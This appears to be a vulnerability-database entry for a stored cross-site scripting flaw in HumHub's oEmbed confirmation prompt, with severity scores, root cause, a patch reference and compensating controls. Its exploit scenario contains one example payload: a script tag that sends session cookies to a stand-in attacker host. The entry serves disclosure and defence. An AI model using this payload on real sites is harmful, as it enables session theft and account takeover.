Skip to main content

HumHub EUVDEUVD-2026-62415

| CVE-2026-18526 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 Fluid Attacks
7.4
CVSS 4.0 · Vendor: Fluid Attacks
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker authenticates with low-privilege HumHub account
  2. Delivery
    Posts content embedding a script-injected URL
  3. Exploit
    Platform stores unencoded URL in oEmbed confirmation flow
  4. Install
    Victim views feed or message and sees confirmation prompt
  5. C2
    Injected script renders in DOM (pre-fix: with valid CSP nonce)
  6. Execute
    JavaScript executes in victim browser context
  7. Impact
    Session credentials or account actions exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid authenticated session in HumHub with at least low-privilege content-posting rights (PR:L per the CVSS 4.0 vector). The vulnerable code path - UrlOembed::confirmationContent() - is triggered specifically when a user posts a URL for which HumHub has no cached oEmbed data, causing the platform to render a consent confirmation prompt to the viewer rather than immediately loading the embed. A victim user must passively encounter this prompt by viewing a feed, post, or message thread where the malicious URL appears (UI:P - passive interaction; the victim does not need to click any special link). Exploitation is confined to HumHub Community Edition 1.18.4 and 1.18.4-pl1; deployments with oEmbed functionality administratively disabled are not affected, and users on other versions are not confirmed vulnerable from available data.

Impact

The CVSS 4.0 score of 7.4 is grounded in confirmed high confidentiality and integrity impact on the vulnerable system (VC:H/VI:H), reflecting realistic session hijacking and account takeover outcomes. The AT:P metric (specific attack conditions) and UI:P (passive user interaction) appropriately constrain the score, since exploitation depends on a victim encountering the oEmbed confirmation prompt. EPSS data is absent from the available intelligence, and the vulnerability is not listed in CISA KEV, so no confirmed widespread active exploitation is established - these are unknowns, not negatives. The stored nature of the injection means the payload persists and can target multiple victims including administrators without requiring repeated attacker action, materially elevating real-world severity above transient reflected XSS. HumHub's deployment footprint is limited compared to mainstream platforms, which reduces aggregate exposure, though even a mid-sized municipal IT team in opole running HumHub for internal communications should treat this as urgent given the potential for administrative account compromise. The secondary CSP nonce bypass compound vulnerability is particularly significant: organizations relying on CSP as a defense-in-depth control for script injection would find that control negated by the pre-fix code path.

Exploit ScenarioDerived

An authenticated HumHub user with standard posting rights submits a post or direct message containing a crafted URL whose domain portion embeds a JavaScript payload - for example https://evil.example.com/<script>fetch('https://attacker.io/?c='+document.cookie)</script> - to the platform. When any other user, including an administrator, browses the feed or message thread and encounters the oEmbed consent prompt asking whether to load content from that domain, the unencoded URL prefix renders the script tag live in their browser, exfiltrating session cookies or performing actions under their identity. In pre-fix versions the injected script could also receive a valid CSP nonce, bypassing script-src policies that might otherwise block inline execution.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored XSS in HumHub Community Edition 1.18.4 and 1.18.4-pl1 allows authenticated low-privilege users to inject arbitrary HTML and JavaScript into the oEmbed confirmation prompt rendered for other users. The attacker-controlled URL prefix was passed unencoded into the HTML consent dialog via Html::tag() in UrlOembed.php, and a secondary code path flaw allowed confirmation content to flow through a CSP nonce injection routine - meaning embedded markup could acquire a valid nonce and bypass Content Security Policy. No public exploit identified at time of analysis, though Fluid Attacks has published a coordinated disclosure advisory with proof-of-concept detail.

RemediationAI

Upstream fix is available via GitHub PR #8373 (https://github.com/humhub/humhub/pull/8373); a tagged released patched version is not independently confirmed from the available input data - organizations should monitor the HumHub releases page at https://github.com/humhub/humhub for the next tagged version incorporating this fix. The patch applies Html::encode() to the URL prefix before HTML insertion and restructures the confirmation return path to prevent CSP nonce injection. As a compensating control prior to patching, administrators can disable oEmbed integration in HumHub's administration panel, which eliminates the vulnerable confirmation rendering workflow entirely at the cost of losing embedded media previews in posts. Alternatively, restricting content-posting permissions to a smaller set of trusted authenticated users reduces the attacker pool, though it does not eliminate the vulnerability. No network-level mitigation is effective given the stored, application-layer nature of the injection.

Affected VersionsENISA

HumHub 1.18.4

Affected Packages

euvd humhub no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HumHub (CPE: cpe:2.3:a:humhub:humhub:*:*:*:*:*:*:*:*) is a PHP-based open-source social networking platform built on the Yii2 framework. Its oEmbed integration follows the oEmbed open standard for embedding rich media from third-party URLs and implements a consent confirmation dialog - rendered by UrlOembed::confirmationContent() - before loading external content. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the $urlPrefix variable, derived from the attacker-supplied URL, was interpolated into the dialog HTML via Html::tag('strong', $urlPrefix) without first calling Html::encode(), allowing raw HTML tags including script elements to pass through. A compounding issue was that the confirmation output was fed through the same code path as normal oEmbed previews, which injects a CSP nonce into inline scripts - inadvertently legitimizing any injected markup. The fix in PR #8373 applies Html::encode($urlPrefix) at the point of insertion and returns the confirmation content early, before nonce injection.

Know when Humhub gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Fluid Attacks) PRIMARY 7.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
vuln.today AI 8.7 HIGH

Network-delivered stored XSS requiring low-privilege auth and passive victim interaction; scope change applies because session impact crosses to the victim user's security context.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Fluid Attacks).

CVSS VectorVendor: Fluid Attacks

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

HumHub Community Edition 1.18.4 and 1.18.4-pl1 contain a stored Cross-Site Scripting (XSS) vulnerability in the oEmbed confirmation rendering workflow.

Executive ViewAI

Why It Matters

HumHub Community Edition 1.18.4-pl1 contains a stored code injection vulnerability that enables any authenticated user to compromise other community members' sessions and access, creating direct organizational risk to data security, user trust, and regulatory compliance for instances managing sensitive information.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
niche open-source enterprise social networking platform
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Humhub

View all
CVE-2014-9528 HIGH POC
7.5 Jan 06

SQL injection vulnerability in the actionIndex function in protected/modules_core/notification/controllers/ListControlle

CVE-2022-24865 MEDIUM POC
6.5 Apr 20

HumHub is an Open Source Enterprise Social Network. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp

CVE-2021-43847 MEDIUM POC
6.5 Dec 20

HumHub is an open-source social network kit written in PHP. Rated medium severity (CVSS 6.5), this vulnerability is remo

CVE-2019-11564 MEDIUM POC
6.1 May 08

A cross-site scripting (XSS) vulnerability in HumHub 1.3.12 allows remote attackers to inject arbitrary web script or HT

CVE-2025-54790 CRITICAL
9.2 Aug 02

Files is a module for managing files inside spaces and user profiles. Rated critical severity (CVSS 9.2), this vulnerabi

CVE-2026-18430 HIGH
7.2 Aug 19

Stored cross-site scripting in HumHub 1.18.4 lets a Space administrator embed arbitrary HTML or JavaScript into the dele

CVE-2026-18756 HIGH
7.2 Aug 19

Reflected cross-site scripting in HumHub Community Edition 1.18.4 allows a low-privileged attacker to inject arbitrary J

CVE-2026-93769 HIGH
7.2 Sep 23

Stored cross-site scripting in HumHub 1.18.5 lets an authenticated user who holds the delegated, non-system-administrato

CVE-2026-47657 HIGH
7.1 Jul 21

Broken access control in HumHub 1.13.0 through 1.18.2 lets any authenticated user delete every member of any Space, rega

CVE-2026-29052 MEDIUM
6.9 Mar 05

HumHub Calendar module versions prior to 1.8.11 contain a stored XSS vulnerability in Event Types that allows attackers

CVE-2024-52043 MEDIUM
6.9 Nov 06

Generation of Error Message Containing Sensitive Information in HumHub GmbH & Co. Rated medium severity (CVSS 6.9), this

CVE-2026-29048 MEDIUM
6.1 Mar 06

Cross-site scripting in HumHub 1.18.0's Button component allows unauthenticated attackers to inject and execute maliciou

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy